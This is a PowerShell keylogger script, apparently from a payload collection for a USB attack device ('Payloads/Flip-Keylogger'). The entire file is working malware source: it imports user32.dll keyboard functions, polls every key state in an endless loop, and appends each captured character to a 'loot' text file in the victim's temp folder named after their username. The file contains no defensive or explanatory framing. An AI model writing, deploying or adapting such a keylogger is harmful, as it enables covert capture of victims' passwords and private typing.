Create Keylogger.ps1
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62
Payloads/Flip-Keylogger/Keylogger.ps1
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62
Payloads/Flip-Keylogger/Keylogger.ps1
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function XXXlog($Path="$env:temp\$env:UserName-loot.txt"){
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$signatures = @'
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[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
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public static extern short GetAsyncKeyState(int virtualKeyCode);
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[DllImport("user32.dll", CharSet=CharSet.Auto)]
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public static extern int GetKeyboardState(byte[] keystate);
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[DllImport("user32.dll", CharSet=CharSet.Auto)]
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public static extern int MapVirtualKey(uint uCode, int uMapType);
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[DllImport("user32.dll", CharSet=CharSet.Auto)]
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public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
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'@
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$API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
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$null = New-Item -Path $Path -ItemType File -Force
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try
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{
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Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red
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while ($true) {
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Start-Sleep -Milliseconds 40
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for ($ascii = 9; $ascii -le 254; $ascii++) {
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$state = $API::GetAsyncKeyState($ascii)
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if ($state -eq -32767) {
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$null = [console]::CapsLock
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$virtualKey = $API::MapVirtualKey($ascii, 3)
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$kbstate = New-Object Byte[] 256
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$checkkbstate = $API::GetKeyboardState($kbstate)
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$mychar = New-Object -TypeName System.Text.StringBuilder
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$success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
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if ($success)
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{
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[System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
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}
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}
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}
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}
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}
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finally
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{
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#notepad $Path
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}
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}
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XXXlog
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